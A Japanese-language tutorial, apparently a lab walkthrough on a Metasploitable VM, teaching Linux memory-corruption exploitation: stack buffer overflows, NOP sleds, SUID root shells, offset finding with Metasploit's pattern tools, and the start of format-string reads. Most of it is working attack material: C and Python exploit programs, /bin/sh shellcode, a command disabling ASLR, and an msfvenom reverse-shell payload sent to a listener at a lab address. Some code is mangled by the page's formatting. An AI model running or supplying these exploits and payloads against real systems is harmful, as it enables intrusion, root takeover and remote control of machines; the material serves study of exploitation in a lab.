linux脆弱性の利用

40210 ワード

キャッシュ領域オーバーフロー:


EBPベースポインタレジスタ、ESPスタックポインタベース.
EBPはプロセスの現在のスタックフレームの底部を指し、ESPは常にスタックの頂部を指す.スタックはメモリの高いアドレスから低いアドレスに逆方向に成長する.
#include 

greeting(char *temp1, char *temp2){
	char name[400];
	strcpy(name, temp2);
	printf("Hello %s %s
",temp1, name); } main(int argc, char * argv[]){ greeting(argv[1], argv[2]); printf("Bye %s %s
", argv[1], argv[2]); return 0; }

2番目のパラメータはPerlを用いて600個のAを注入する
~$ ./meet Mr `perl -e 'printf "A" x 600'`
Segmentation fault  #  

gdbデバッグ
~$ gdb -q meet
(gdb) run Mr `perl -e 'print "A" x 600'`
Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`

Program received signal SIGSEGV, Segmentation fault.
0xb7e7825b in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) info reg eip
eip            0xb7e7825b       0xb7e7825b 

#はeipを制御ことができなくて、それはすでにメモリの中の別の場所を指しています.#コードを見ると、何度もネスト関数の呼び出しが行われ、毎回スタックに押し込まれていることがわかります.#オーバーフローすると、必ず関数の入力パラメータが破壊されます.
(gdb) b 6 # 
Breakpoint 1 at 0x80483c2: file meet.c, line 6.
(gdb) run Mr `perl -e 'print "A" x 600'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 600'`
#     0x41414141
Breakpoint 1, greeting (temp1=0x41414141 
, temp2=0x41414141
) at meet.c:6 6 printf("Hello %s %s
",temp1, name); (gdb)

書き込みデータがスタックにEIPを押し込む位置を超えるとtemp 1から始まる関数パラメータが上書きされる.
少しずつ値を増やしてeipを見つけようとします
(gdb) d 1 #   
(gdb) run Mr `perl -e 'print "A" x 401'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 401'`
Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x08048409 in main (argc=0, argv=0x0) at meet.c:11
11              printf("Bye %s %s
", argv[1], argv[2]); (gdb) info reg ebp eip ebp 0xbff00041 0xbff00041 eip 0x8048409 0x8048409
(gdb) run Mr `perl -e 'print "A" x 404'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 404'` Hello Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGILL, Illegal instruction. 0x08048400 in main (argc=Cannot access memory at address 0x41414149 ) at meet.c:10 10 greeting(argv[1], argv[2]); (gdb) info reg ebp eip ebp 0x41414141 0x41414141 eip 0x8048400 0x8048400
(gdb) run Mr `perl -e 'print "A" x 408'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 408'` Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg ebp eip ebp 0x41414141 0x41414141 eip 0x41414141 0x41414141 (gdb) run Mr `perl -e 'print "A" x 409'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/msfadmin/meet Mr `perl -e 'print "A" x 409'` Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) info reg ebp eip ebp 0x41414141 0x41414141 eip 0x41414141 0x41414141 # gdb   ,eip .

キャッシュ領域オーバーフローの結果:
1.サービスの拒否
2.EIPは制御され、システムレベルのアクセス権限で悪意のあるコードを実行する可能性がある
3.EIPは制御され、システムレベルまたはルート権限で悪意のあるコードを実行する
SUID概念:あるプロセスを一時的に昇格させ、あるファイルが自身の特権レベルで実行されることを許容する.
passwdコマンドのような列の所有者はルートユーザであり、通常のユーザがそれを実行すると、このプロセスはルートユーザとして実行される.
SUIDプログラムに脆弱性がある場合、脆弱性攻撃プログラムはそのファイルの所有者の特権を得てルート権限を得ることができる.

ローカルキャッシュ領域オーバーフロー脆弱性攻撃:


システムのメモリ領域にアクセスできるため、ローカルの脆弱性攻撃はリモートの脆弱性攻撃よりも容易である.
キャッシュ領域オーバーフローホール攻撃の基本概念は、ホールが存在するバッファをオーバーフローさせ、悪意のある目的でEIPを修正することであり、EIPは次の実行命令を指す.
関数を呼び出すと、EIPのコピーがスタックにコピーされ、関数呼び出しが完了すると、その後のコマンドを実行することができる.保存されたEIP値を変更できる場合、関数が戻ると、スタックからレジスタEIPにポップアップするのは破壊されたEIP値であり、次の実行命令を決定する.
NOPそり:
アセンブラコード中のNOPは、何も実行することなく、次のコマンドに移動することを表す.すなわち、空の操作である.アセンブラコードではコンパイラが改変操作を用いて最適化し,コードブロックにシムを追加して字揃えを実現する.攻撃者はNOPを用いてシムを実現する.NOPを脆弱性攻撃キャッシュ領域の前に置く場合,NOPそりと呼ぶ.EIPがNOPそりを指す場合,プロセッサはこのシムを1つのコンポーネントに踏み込む.x 86システムでは,操作コード0 x 90がNOPを表す.また、多くの表示法.0 x 90が最もよく使われる.
shellcodeの簡単な理解:gdb逆アセンブリによって抽出されたオペレーティングコード:
~$ gdb -q meet
(gdb) disass main
Dump of assembler code for function main:
0x080483e1 
: push %ebp 0x080483e2
: mov %esp,%ebp 0x080483e4
: sub $0xc,%esp 0x080483e7
: mov 0xc(%ebp),%eax 0x080483ea
: add $0x8,%eax 0x080483ed
: mov (%eax),%edx 0x080483ef
: mov 0xc(%ebp),%eax 0x080483f2
: add $0x4,%eax 0x080483f5
: mov (%eax),%eax 0x080483f7
: mov %edx,0x4(%esp) 0x080483fb
: mov %eax,(%esp) 0x080483fe
: call 0x80483a4 0x08048403
: mov 0xc(%ebp),%eax 0x08048406
: add $0x8,%eax 0x08048409
: mov (%eax),%edx 0x0804840b
: mov 0xc(%ebp),%eax 0x0804840e
: add $0x4,%eax 0x08048411
: mov (%eax),%eax 0x08048413
: mov %edx,0x8(%esp) 0x08048417
: mov %eax,0x4(%esp) 0x0804841b
: movl $0x80484fd,(%esp) 0x08048422
: call 0x804830c 0x08048427
: mov $0x0,%eax 0x0804842c
: leave 0x0804842d
: ret

ネット上にはshellcodeライブラリがたくさんありますhttps://www.exploit-db.com/shellcode/
#include 
#include 

char shellcode[] = 
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int)shellcode;
}

コンパイル実行の昇格権限:
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack -o shellcode shellcode.c 
msfadmin@metasploitable:~$ chmod u+s shellcode
msfadmin@metasploitable:~$ sudo ./shellcode
root@metasploitable:/home/msfadmin# id
uid=0(root) gid=0(root) groups=0(root)

脆弱性攻撃の最も重要な要素はアドレスの値を返すことであり、バッファオーバーフローを充填する.できるだけshellcodeの開始位置を直接指す.制御不能な要素が多く、NOPの中間のある位置を指す可能性があり、ESPの値をテストしてみる.
#include 

unsigned int get_sp(void) {
	__asm__("movl %esp, %eax");
}
int main(){
	printf("Stack pointer (ESP): 0x%x
", get_sp()); } root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbfa57f48 root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbf8b25a8 root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbfa51f48 root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbf9bfeb8 root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbff59c48 # , . . #echo "0" > /proc/sys/kernel/randomize_va_space #   ,   . # ESP, . root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbffffde8 root@metasploitable:/home/msfadmin# ./stack_sp Stack pointer (ESP): 0xbffffde8

コマンドラインでスタックオーバーフロー・ホール攻撃を行います.
root@metasploitable:/home/msfadmin# perl -e 'print "\x90"x200';
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������root@metasploitable:/home/msfadmin sc                   
root@metasploitable:/home/msfadmin# wc -c sc # shellcode 
53 sc

ESP値は0 xbff 59 c 48である、コマンドラインから攻撃が開始されると、コマンドラインパラメータはメイン関数を呼び出す前にスタックに入れる.
現在の試験手順のパラメータは、攻撃キャッシュ領域の長さが408バイトであり、そのうち上位200バイトがNOPそりである.
NOPの中央部への登録を確実にするためには、現在のスタックアドレスより前の300バイトで実行する必要がある.
この300バイトを元のスクリプトパラメータに加えると、計算されたESP値より後の708バイト、0 x 2 c 4がホップポイントとなる.
従って、現在のESPから0 x 300の10進数768を減算登録点を算出する.
0xbffff4f8 - 0x300 = 0xbffffae8

perl :

perl -e 'print"\xe8\xfa\xff\xbf"x38';

型取り演算を使用するには、次の手順に従います.
(408 bytes - 200 bytes of NOP - 53 bytes of Shellcode) / 4 bytes of address = 38.75
root@metasploitable:/home/msfadmin# ./meet mr `perl -e 'print "\x90"x200';``cat sc``perl -e 'print "\xe8\xf1\xff\xbf "x38';`                            
Hello mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
                                                                                                         �
                                                                                                          ��V
                                                                                                             ̀1ۉ����/bin/sh���
Bye mr ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1۰̀v�1��F�F
                                                                                                       �
                                                                                                        ��V
                                                                                                           ̀1ۉ����/bin/sh���
root@metasploitable:/home/msfadmin# 

このバッファは405バイトしかないので、プログラムがクラッシュするのは、重複アドレスが充填時に整列していないためかもしれない.使用NOPの数を増やすことができる.
汎用脆弱性攻撃:
#include 
#include 
#include 
#include 

char shellcode[] =
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[1]) {
	int i, offset = 0;
	unsigned int esp, ret, *addr_ptr;
	char *buffer, *ptr;
	int size = 500;

	esp = get_sp();
	if(argc > 1) 
		size = atoi(argv[1]);

	if(argc > 2)
		offset = atoi(argv[2]);

	if(argc > 3)
		esp = strtoul(argv[3], NULL, 0);

	ret = esp - offset;

	fprintf(stderr, "Usage: %s  <0xfff...>
", argv[0]); buffer = (char *)malloc(size); ptr = buffer; addr_ptr = (unsigned int *) ptr; for(i=0; i < size; i+=4) *(addr_ptr++) = ret; for(i=0; i < size/2; i++) buffer[i] = '0x90'; ptr = buffer + size / 2; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buffer[size-1] = 0; execl("./meet", "meet", "Mr.", buffer, 0); printf("%s
", buffer); free(buffer); return 0; }
msfadmin@metasploitable:~$ ls -l meet
-rwsr-xr-x 1 msfadmin msfadmin 7590 2018-09-04 06:12 meet

#新しいユーザーを作成すると、プログラムを実行すると権限が向上します.
小さなバッファ・ホールへの攻撃:
#include 

int main(int argc, char * argv[]){
	char buff[10];
	strcpy(buff, argv[1]);
}

#ユーザーを検証する必要がある
#include 
#include 
#include 
#include 

#define VULN "./smallbuff"
#define SIZE 160

char shellcode[] =
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
	"\xeb\x1f\x5e\x89\x76\x80\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv[]){
	char p[SIZE];
	char *env[] = { shellcode, NULL };
	char *vuln[] = { VULN, p, NULL };
	int *ptr, i, addr;

	addr = 0xbffffffa - strlen(shellcode) - strlen(VULN);

	fprintf(stderr, "[***] using address: %#010x
", addr); ptr = (int *)(p+2); for (i=0; i < SIZE; i += 4) *ptr++ = addr; execle(vuln[0], (char *)vuln, p, NULL, env); exit(1); }
msfadmin@metasploitable:~$ chmod u+s smallbuff
msfadmin@metasploitable:~$ ls -l smallbuff
-rwsr-xr-x 1 msfadmin msfadmin 7192 2018-09-04 07:39 smallbuff
msfadmin@metasploitable:~$ ./exploit2 
[***] using address: 0xbfffffba # 

逆コンパイルでは、次のことがわかります.
msfadmin@metasploitable:~$ gdb exploit2 --quiet
(gdb) run
Starting program: /home/msfadmin/exploit2 
[***] using address: 0xbfffffba
Executing new program: /home/msfadmin/smallbuff

脆弱性攻撃の開発プロセス:


1.制御EIP
2.オフセットの決定
3.攻撃ベクトルの決定
4.脆弱性攻撃の構築
5.脆弱性攻撃のテスト
6.脆弱性攻撃プログラムのデバッグ
試験手順:
# 
msfadmin@metasploitable:~$ ./test &
[1] 5803

msfadmin@metasploitable:~$ netstat -anlp | grep test
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN      5803/test       

~# nc 192.168.1.104 5555 # 
--------Login---------
Username: Test
Invalid Login!
Please Try again


perl -e 'print "A"x8096' | nc 192.168.1.104 5555

msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()        # EIP EBP 
(gdb) i r eip esp ebp
eip            0x41414141       0x41414141
esp            0xbffffca8       0xbffffca8
ebp            0x41414141       0x41414141

キャッシュ領域のオーバーフローは、EIPを上書きするには、どのくらいの文字を使用するかを正確に知る必要があります.
リスナーに接続するpythonスクリプトを作成します.
プログラムが崩れたかどうかを見て、カバーするEIPを見つけます
#!/usr/bin/python
import socket

total = 1024

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = "A"*total + "
" s.send(exploit) s.close
msfadmin@metasploitable:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5893]
0x41414141 in ?? ()
(gdb) i r eip esp ebp
eip            0x41414141       0x41414141
esp            0xbffffca8       0xbffffca8
ebp            0x41414141       0x41414141

#python  

Metascloit pattern_の使用createツールは、バッファをオーバーフローさせる文字数を算出します.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

脆弱性攻撃プログラムを実行します.
#!/usr/bin/python

import socket

total = 1024

sc = ""
sc += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B"

s = socket.socket()

s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = sc
s.send(exploit)
s.close

gdbはテストプログラムを実行します:
msfadmin@metasploitable:~$ gdb -q test
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run
Starting program: /home/msfadmin/test 
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5952]
0x41386941 in ?? () # 

pattern_の使用offset.rbは、EIPが書き換えられた箇所におけるオフセット量の最初の264バイトを正確に知ることができる
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386941 -l 1024
[*] Exact match at offset 264

EIPの書き換え位置を知る、荷重を実行するためにジャンプするスタックアドレスを決定する.コードにNOPそりを入れる.より大きなジャンプ領域を作り、位置が少しずれてもNOPそりの位置までジャンプできる.
#!/usr/bin/python

import socket

total = 1024
off = 264
sc = ""
sc += "A"
noplen = 32
jmp = "BBBB"

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90" * noplen + sc
exploit += "C"*(total - off - 4 - len(sc) - noplen)

s.send(exploit)
s.close
msfadmin@metasploitable:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5979]
0x42424242 in ?? () #EIP 
(gdb) x/32x $esp
0xbffffca8:     0x90909090      0x90909090      0x90909090      0x90909090 # NOP 
0xbffffcb8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffcc8:     0x43434341      0x43434343      0x43434343      0x43434343 #shellcode 
0xbffffcd8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffce8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffcf8:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffd08:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffffd18:     0x43434343      0x43434343      0x43434343      0x43434343

metasploitでshellcodeを生成するには:
~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -b "\x00\xff" -f python -v shellcode #-b 
~# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.105 LPORT=4444 -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 384 bytes
shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

python攻撃プログラムを実行します.
#!/usr/bin/python
import socket

total = 1024
off = 264

shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x01\x69\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

noplen = 32
jmp = "\xc8\xf4\xff\xbf"

s = socket.socket()
s.connect(("192.168.1.104", 5555))
print s.recv(1024)
exploit = ""
exploit += "A"*off + jmp + "\x90"*noplen + shellcode
exploit += "C"*(total-off-4-len(shellcode)-noplen)

s.send(exploit)
s.close

gdbで表示:
msfadmin@metasploitable:~$ gdb -q test 
(no debugging symbols found)
(gdb) set follow-fork-mode child 
(gdb) run c
Starting program: /home/msfadmin/test c
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /bin/bash
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
Executing new program: /usr/bin/id
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program exited normally.

msfでのリスニング:
msf exploit(multi/handler) > set LHOST 192.168.1.104
LHOST => 192.168.1.104
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Command shell session 1 opened (192.168.1.105:4444 -> 192.168.1.104:33933) at 2018-09-05 02:17:56 +0800

id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)


成功の命中!!!

文字列脆弱性攻撃のフォーマット:


printf()出力結果を標準入力\出力ハンドルに印刷
fprintf()出力結果をファイルストリームに印刷する
sprintf()出力結果を文字列に印刷する
snprintf()出力結果を文字列に印刷し、内蔵長さチェック
任意のメモリから読み込み:
// 
#include 
#include 
#include 

int main(int argc, char *argv[]){
	static int canary = 0;
	char temp[2048];
	strcpy(temp, argv[1]);
	printf(temp);
	printf("
"); printf("Canary at 0x%08x = 0x%08x
", &canary, canary); }

コンパイル実行テスト:
msfadmin@metasploitable:~$ ./fmtstr Testing
Testing
Canary at 0x080496cc = 0x00000000
msfadmin@metasploitable:~$ chmod u+s fmtstr


msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x" #%x     4 8    
AAAA bffffe87 00000000 b7fff668 bffffd84
Canary at 0x080496cc = 0x00000000

# %08x  
msfadmin@metasploitable:~$ ./fmtstr "AAAA %08x %08x %08x %08x %08x %08x %08x %08x"
AAAA bffffe73 00000000 b7fff668 bffffd74 b7fff800 00000000 00000003 41414141
Canary at 0x080496cc = 0x00000000

%sは任意の文字列を読み込みます.
